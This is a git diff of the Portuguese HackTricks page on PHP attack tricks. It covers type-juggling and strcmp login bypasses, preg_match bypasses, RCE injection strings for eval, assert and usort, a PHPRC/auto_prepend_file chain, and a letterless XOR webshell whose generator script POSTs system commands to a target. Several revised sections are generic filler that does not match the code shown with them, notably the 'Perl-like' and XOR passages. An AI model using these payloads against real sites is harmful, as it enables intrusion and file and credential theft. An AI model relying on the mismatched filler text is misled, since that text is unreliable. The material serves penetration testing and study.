<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me no Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,7 +7,7 @@
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -30,28 +30,28 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Bypassando comparações em PHP
### Comparações fracas / Type Juggling ( == )
### Comparações fracas/Type Juggling ( == )
Se `==` é usado em PHP, então há casos inesperados em que a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados no mesmo tipo, se você também quiser comparar que o tipo dos dados comparados é o mesmo, você precisa usar `===`.
Se o `==` for usado em PHP, há casos inesperados em que a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados para o mesmo tipo. Se você também deseja comparar que o tipo dos dados comparados é o mesmo, você precisa usar `===`.
Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
Tabelas de comparação em PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../.gitbook/assets/image (40) (1).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Uma string que não começa com um número é igual a um número
* `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas com outros números/strings com True como resultado se os números forem iguais (números em uma string são interpretados como números)
* `"0xAAAA" == "43690" -> True` Strings compostas por números em formato decimal ou hexadecimal podem ser comparadas com outros números/strings com resultado True se os números forem iguais (números em uma string são interpretados como números)
* `"0e3264578" == 0 --> True` Uma string que começa com "0e" e seguida por qualquer coisa será igual a 0
* `"0X3264578" == 0X --> True` Uma string que começa com "0" e seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
* `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada de string de "0" e algum conteúdo que está sendo hashado e comparado com ele. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com este formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada de string de "0" e algum conteúdo que está sendo hashado e comparado com ele. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
**Type Juggling** também afeta a função `in_array()` por padrão (você precisa definir como verdadeiro o terceiro argumento para fazer uma comparação estrita):
**Type Juggling** também afeta a função `in_array()` por padrão (você precisa definir como true o terceiro argumento para fazer uma comparação estrita):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -61,7 +61,7 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
Se esta função é usada para **qualquer verificação de autenticação** (como verificar a senha) e o usuário controla um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da senha (`https://example.com/login.php/?username=admin&password[]=`) e contornar essa verificação:
Se essa função for usada para **qualquer verificação de autenticação** (como verificar a senha) e o usuário controlar um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da senha (`https://example.com/login.php/?username=admin&password[]=`) e contornar essa verificação:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
@ -72,17 +72,17 @@ O mesmo erro ocorre com `strcasecmp()`
### Conversão estrita de tipos
Mesmo se `===` estiver **sendo usado**, pode haver erros que tornam a **comparação vulnerável** à **conversão estrita de tipos**. Por exemplo, se a comparação estiver **convertendo os dados para um tipo de objeto diferente antes de comparar**:
Mesmo se `===` estiver sendo usado, pode haver erros que tornam a comparação vulnerável à conversão estrita de tipos. Por exemplo, se a comparação estiver convertendo os dados para um tipo de objeto diferente antes de comparar:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e se não estiver, o código pode continuar sua execução).
**`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e, se não estiver, o código pode continuar sua execução).
#### Bypass de nova linha
No entanto, ao delimitar o início da expressão regular, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então se de alguma forma você puder **enviar** a entrada em **várias linhas**, você pode ser capaz de contornar essa verificação. Exemplo:
No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, você pode ser capaz de contornar essa verificação. Exemplo:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -95,24 +95,34 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Para burlar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
```php
{
"cmd": "cat /etc/passwd"
"cmd": "cat /etc/passwd"
}
```
Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Bypass de erro de comprimento**
#### **Burla de erro de comprimento**
(Este bypass foi testado aparentemente no PHP 5.2.5 e não consegui fazê-lo funcionar no PHP 7.3.15)\
Se você pode enviar para `preg_match()` uma entrada muito **grande e válida**, ele **não será capaz de processá-la** e você será capaz de **burlar** a verificação. Por exemplo, se estiver na lista negra um JSON, você poderia enviar:
(Esta burla foi testada aparentemente no PHP 5.2.5 e não consegui fazê-la funcionar no PHP 7.3.15)\
Se você puder enviar para `preg_match()` uma entrada **muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver sendo feito um bloqueio de um JSON, você poderia enviar:
```
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
```
### Tipos de Juggling para ofuscação em PHP
De: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
Type Juggling é uma técnica usada para ofuscar código PHP, onde o PHP converte um tipo de dado em outro automaticamente. Por exemplo, o PHP converte a string "123" em um número inteiro 123. No entanto, se a string começar com "0e", o PHP a converterá em um número em notação científica, independentemente do restante dos caracteres. Isso pode ser explorado para criar hashes falsos que parecem iguais a outros hashes.
### Type Juggling para ofuscação em PHP
Type juggling é uma técnica usada para ofuscar código PHP, tornando-o mais difícil de ser lido e compreendido. Nessa técnica, aproveita-se da forma como o PHP trata diferentes tipos de dados para realizar operações inesperadas.
O PHP é uma linguagem fracamente tipada, o que significa que não é necessário declarar explicitamente o tipo de uma variável. Isso permite que o PHP faça conversões automáticas de tipos de dados, o que pode ser explorado para criar comportamentos inesperados.
Um exemplo comum de type juggling é quando se compara uma string com um número. O PHP tentará converter a string em um número antes de realizar a comparação. Isso pode levar a resultados inesperados, como uma comparação entre uma string vazia e o número zero retornando verdadeiro.
Para aproveitar o type juggling, um atacante pode criar uma string que, quando convertida em um número, tenha um valor específico. Isso pode ser usado para contornar verificações de autenticação, por exemplo.
É importante estar ciente dessa técnica ao analisar código PHP, pois ela pode ser usada para ocultar intenções maliciosas.
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -128,7 +138,7 @@ $obfs += ""; //int 7
Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** é **chamada após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo da página:
```php
<?php
// In this page the page will be read and the content appended to the body of
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
@ -137,16 +147,16 @@ readfile($page);
```
## Mais truques
* **register\_globals**: Em **PHP < 4.1.1.1** ou se estiver mal configurado, **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET se elas tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, enviando parâmetros HTTP, você pode sobrescrever variáveis** que são usadas dentro do código.
* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **diferentes cookies são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
* Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
* [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/)
* **register\_globals**: No **PHP < 4.1.1.1** ou se estiver mal configurado, o **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se elas tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo através de **$param**. Portanto, enviando parâmetros HTTP, você pode sobrescrever variáveis que são usadas no código.
* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo local**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do outro caminho** definindo o valor do cookie do outro caminho.\
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (atribuindo ao cookie o nome correspondente a ele em path2).
* Quando você tem os **nomes de usuário** dos usuários da máquina, verifique o endereço: **/\~\<NOME DE USUÁRIO>** para ver se os diretórios php estão ativados.
* [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Essas funções são tipicamente usadas em PHP para **gerar hashes a partir de senhas** e para **verificar** se uma senha está correta em comparação com um hash.\
Os algoritmos suportados são: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (começa com `$2y$`). Note que **PASSWORD\_DEFAULT é frequentemente o mesmo que PASSWORD\_BCRYPT.** E atualmente, **PASSWORD\_BCRYPT** tem uma **limitação de tamanho na entrada de 72bytes**. Portanto, quando você tenta fazer hash de algo maior que 72bytes com esse algoritmo, apenas os primeiros 72B serão usados:
Essas funções são normalmente usadas em PHP para **gerar hashes a partir de senhas** e para **verificar** se uma senha está correta em comparação com um hash.\
Os algoritmos suportados são: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (começa com `$2y$`). Note que **PASSWORD\_DEFAULT é frequentemente o mesmo que PASSWORD\_BCRYPT**. E atualmente, **PASSWORD\_BCRYPT** tem uma **limitação de tamanho na entrada de 72 bytes**. Portanto, quando você tenta gerar um hash de algo maior que 72 bytes com esse algoritmo, apenas os primeiros 72 bytes serão usados:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -154,10 +164,10 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### Bypassando cabeçalhos HTTP abusando de erros PHP
### Bypassando cabeçalhos HTTP abusando de erros do PHP
Se uma **página PHP está imprimindo erros e ecoando de volta alguma entrada fornecida pelo usuário**, o usuário pode fazer o servidor PHP imprimir algum **conteúdo longo o suficiente** para que, quando ele tentar **adicionar os cabeçalhos** na resposta, o servidor lançará um erro.\
No seguinte cenário, o **atacante fez o servidor lançar alguns erros grandes**, e como você pode ver na tela, quando o PHP tentou **modificar as informações do cabeçalho, não conseguiu** (então, por exemplo, o cabeçalho CSP não foi enviado ao usuário):
Se uma **página PHP estiver imprimindo erros e ecoando algum input fornecido pelo usuário**, o usuário pode fazer com que o servidor PHP imprima algum **conteúdo longo o suficiente** para que, quando ele tentar **adicionar os cabeçalhos** na resposta, o servidor lance um erro.\
No cenário a seguir, o **atacante fez o servidor lançar alguns erros grandes**, e como você pode ver na tela, quando o PHP tentou **modificar as informações do cabeçalho, não conseguiu** (por exemplo, o cabeçalho CSP não foi enviado ao usuário):
![](<../../../.gitbook/assets/image (465).png>)
@ -167,17 +177,15 @@ No seguinte cenário, o **atacante fez o servidor lançar alguns erros grandes**
**\`ls\`;**\
**shell\_exec("ls");**
[Verifique isso para obter mais funções úteis do PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **Execução de código usando** **preg\_replace()**
[Verifique isso para mais funções úteis do PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Para executar o código no argumento "replace", é necessário ter pelo menos uma correspondência.\
Esta opção de preg\_replace foi **descontinuada a partir do PHP 5.5.0.**
Essa opção do preg\_replace foi **descontinuada a partir do PHP 5.5.0.**
### **Execução de código com Eval()**
### **RCE via Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
@ -185,20 +193,20 @@ Esta opção de preg\_replace foi **descontinuada a partir do PHP 5.5.0.**
'.phpinfo().'
<?php phpinfo(); ?>
```
### **Execução de código com Assert()**
### **RCE via Assert()**
Esta função dentro do PHP permite **executar código que está escrito em uma string** para **retornar verdadeiro ou falso** (e dependendo disso, alterar a execução). Geralmente, a variável do usuário será inserida no meio de uma string. Por exemplo:\
Esta função dentro do php permite que você **execute código que está escrito em uma string** para **retornar verdadeiro ou falso** (e dependendo disso, alterar a execução). Geralmente, a variável do usuário será inserida no meio de uma string. Por exemplo:\
`assert("strpos($_GET['page']),'..') === false")` --> Neste caso, para obter **RCE**, você poderia fazer:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Você precisará **quebrar** a **sintaxe** do código, **adicionar** sua **carga útil** e, em seguida, **corrigi-lo novamente**. Você pode usar operações lógicas como "**and" ou "%26%26" ou "|"**. Note que "or", "||" não funciona porque se a primeira condição for verdadeira, nossa carga útil não será executada. Da mesma forma, ";" não funciona, pois nossa carga útil não será executada.
Você precisará **quebrar** a sintaxe do código, **adicionar** sua carga útil e, em seguida, **corrigi-la novamente**. Você pode usar operações lógicas como "**and" ou "%26%26" ou "|"**. Observe que "or" e "||" não funcionam porque se a primeira condição for verdadeira, nossa carga útil não será executada. Da mesma forma, ";" não funciona, pois nossa carga útil não será executada.
**Outra opção** é adicionar à string a execução do comando: `'.highlight_file('.passwd').'`
**Outra opção** (se você tiver o código interno) é modificar alguma variável para alterar a execução: `$file = "hola"`
### **Execução de código com usort()**
### **RCE via usort()**
Essa função é usada para classificar uma matriz de itens usando uma função específica.\
Para abusar dessa função:
@ -212,38 +220,49 @@ VALUE: );phpinfo();#
```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
usort();}phpinfo;#, "cmp");
}?>
```
Você também pode usar **//** para comentar o restante do código.
Para descobrir o número de parênteses que você precisa fechar:
* `?order=id;}//`: obtemos uma mensagem de erro (`Parse error: syntax error, unexpected ';'`). Provavelmente estamos perdendo um ou mais colchetes.
* `?order=id;}//`: obtemos uma mensagem de erro (`Parse error: syntax error, unexpected ';'`). Provavelmente estamos faltando um ou mais parênteses.
* `?order=id);}//`: obtemos um **aviso**. Parece estar correto.
* `?order=id));}//`: obtemos uma mensagem de erro (`Parse error: syntax error, unexpected ')' i`). Provavelmente temos muitos colchetes de fechamento.
* `?order=id));}//`: obtemos uma mensagem de erro (`Parse error: syntax error, unexpected ')' i`). Provavelmente temos muitos parênteses de fechamento.
### **Execução de código via .httaccess**
### **RCE via .httaccess**
Se você pode **carregar** um **.htaccess**, então você pode **configurar** várias coisas e até mesmo executar código (configurando que arquivos com extensão .htaccess podem ser **executados**).
Se você pode **fazer upload** de um **.htaccess**, então você pode **configurar** várias coisas e até mesmo executar código (configurando que arquivos com extensão .htaccess podem ser **executados**).
Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wireghoul/htshells)
## Análise estática do PHP
### RCE via Variáveis de Ambiente
Veja se você pode inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
Se você encontrar uma vulnerabilidade que permita **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você pode abusar desse comportamento para obter **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Essa variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
* **`PHPRC`** : Instrui o PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém **código PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
1. Faça upload de um arquivo PHP contendo nosso código de shell
2. Faça upload de um segundo arquivo, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o arquivo que enviamos no passo 1
3. &#x20;Defina a variável `PHPRC` para o arquivo que enviamos no passo 2.
* Obtenha mais informações sobre como executar essa cadeia [**no relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
## Análise Estática do PHP
Verifique se você pode inserir código nas chamadas dessas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Se você está depurando uma aplicação PHP, pode habilitar globalmente a impressão de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciando o apache: `sudo systemctl restart apache2`.
Se você estiver depurando uma aplicação PHP, você pode habilitar globalmente a exibição de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciando o apache: `sudo systemctl restart apache2`
### Desofuscando código PHP
@ -255,7 +274,7 @@ Wrappers e protocolos PHP podem permitir que você **ignore proteções de escri
## RCE não autenticado do Xdebug
Se você vir que o **Xdebug** está **habilitado** em uma saída `phpconfig()`, tente obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit).
Se você verificar que o **Xdebug** está **habilitado** em uma saída `phpconfig()`, você deve tentar obter RCE através de [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Variáveis de variáveis
```php
@ -269,15 +288,15 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE abusando de new $\_GET\["a"]\($\_GET\["b"])
## Explorando RCE usando $\_GET\["a"]\($\_GET\["b"])
Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a seguinte página para aprender como:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
## Executar PHP sem letras
## Executando PHP sem letras
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
@ -287,31 +306,26 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
```
### **XOR**
O operador XOR (ou exclusivo) é um operador binário que compara dois valores e retorna um valor verdadeiro se os valores forem diferentes e um valor falso se os valores forem iguais. Em PHP, o operador XOR é representado pelo símbolo `^`.
O operador XOR (ou exclusivo) é uma operação lógica que retorna verdadeiro apenas quando os operandos têm valores diferentes. Em PHP, o operador XOR é representado pelo símbolo `^`.
O uso do operador XOR pode ser útil em técnicas de ofuscação de código, como a criptografia de strings. Por exemplo, podemos usar o operador XOR para criptografar uma string da seguinte maneira:
O operador XOR é frequentemente usado em técnicas de criptografia e ofuscação de código. Ele pode ser usado para realizar operações de criptografia simples, como a cifra de um texto usando uma chave secreta.
Além disso, o operador XOR também pode ser usado para realizar verificações de paridade e manipulação de bits.
Aqui está um exemplo de uso do operador XOR em PHP:
```php
$key = "my_secret_key";
$string = "Hello, world!";
$encrypted_string = "";
for ($i = 0; $i < strlen($string); $i++) {
$encrypted_string .= $string[$i] ^ $key[$i % strlen($key)];
}
echo $encrypted_string; // outputs: " \x1d\x1d\x1f\x1a\x1c\x1f\x1a\x1c\x1f\x1a"
$valor1 = 10;
$valor2 = 5;
$resultado = $valor1 ^ $valor2;
echo $resultado; // Saída: 15
```
Para descriptografar a string, basta executar o mesmo loop novamente:
Neste exemplo, o operador XOR é usado para realizar uma operação de bit a bit entre os valores das variáveis `$valor1` e `$valor2`. O resultado é armazenado na variável `$resultado` e, em seguida, é exibido na tela.
```php
$decrypted_string = "";
for ($i = 0; $i < strlen($encrypted_string); $i++) {
$decrypted_string .= $encrypted_string[$i] ^ $key[$i % strlen($key)];
}
echo $decrypted_string; // outputs: "Hello, world!"
```
Observe que a chave de criptografia deve ser mantida em segredo para garantir a segurança da criptografia. Além disso, a criptografia XOR não é considerada segura para uso em criptografia real, pois é vulnerável a ataques de análise de frequência.
O operador XOR é uma ferramenta poderosa que pode ser usada em várias situações, desde criptografia até manipulação de bits. É importante entender como usar corretamente o operador XOR para aproveitar ao máximo suas capacidades.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -320,7 +334,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### Código shell XOR fácil
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil desta maneira:
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil da seguinte maneira:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
@ -341,8 +355,8 @@ Para uma explicação mais detalhada, consulte [https://ctf-wiki.org/web/php/php
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
@ -356,7 +370,31 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Semelhante ao Perl
### Perl-like
O PHP é uma linguagem de programação que possui muitas semelhanças com a linguagem Perl. Essas semelhanças permitem que os desenvolvedores usem técnicas semelhantes ao programar em PHP. Neste diretório, você encontrará várias dicas e truques para aproveitar ao máximo essas semelhanças e escrever código PHP de forma mais eficiente e concisa.
#### Manipulação de strings
Assim como Perl, o PHP oferece uma ampla gama de funções para manipulação de strings. Você pode usar expressões regulares, substituições de padrões e várias funções de manipulação de strings para realizar tarefas complexas de forma rápida e eficiente.
#### Arrays
O PHP também possui recursos semelhantes ao Perl para trabalhar com arrays. Você pode usar funções como `push`, `pop`, `shift` e `unshift` para adicionar ou remover elementos de um array. Além disso, o PHP oferece várias funções de iteração e manipulação de arrays para facilitar o trabalho com conjuntos de dados.
#### Expressões regulares
As expressões regulares são uma parte importante da programação Perl e também podem ser usadas no PHP. Você pode usar as funções `preg_match`, `preg_replace` e outras funções relacionadas para realizar correspondências de padrões e substituições em strings.
#### Manipulação de arquivos
Assim como Perl, o PHP oferece recursos poderosos para manipulação de arquivos. Você pode abrir, ler, gravar e fechar arquivos usando funções específicas do PHP. Além disso, o PHP também suporta manipulação de diretórios e permissões de arquivos.
#### Outras funcionalidades
Além das semelhanças com Perl, o PHP possui muitos recursos exclusivos que o tornam uma linguagem de programação poderosa para desenvolvimento web. Você pode aproveitar recursos como manipulação de formulários, acesso a bancos de dados, criação de sessões e muito mais para criar aplicativos web dinâmicos e interativos.
No diretório `php-tricks-esp`, você encontrará exemplos e dicas para aproveitar ao máximo as semelhanças entre o PHP e o Perl. Explore esses recursos e aprimore suas habilidades de programação em PHP.
```php
<?php
$_=[];
@ -368,7 +406,7 @@ $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
@ -376,7 +414,7 @@ $___.=$__;
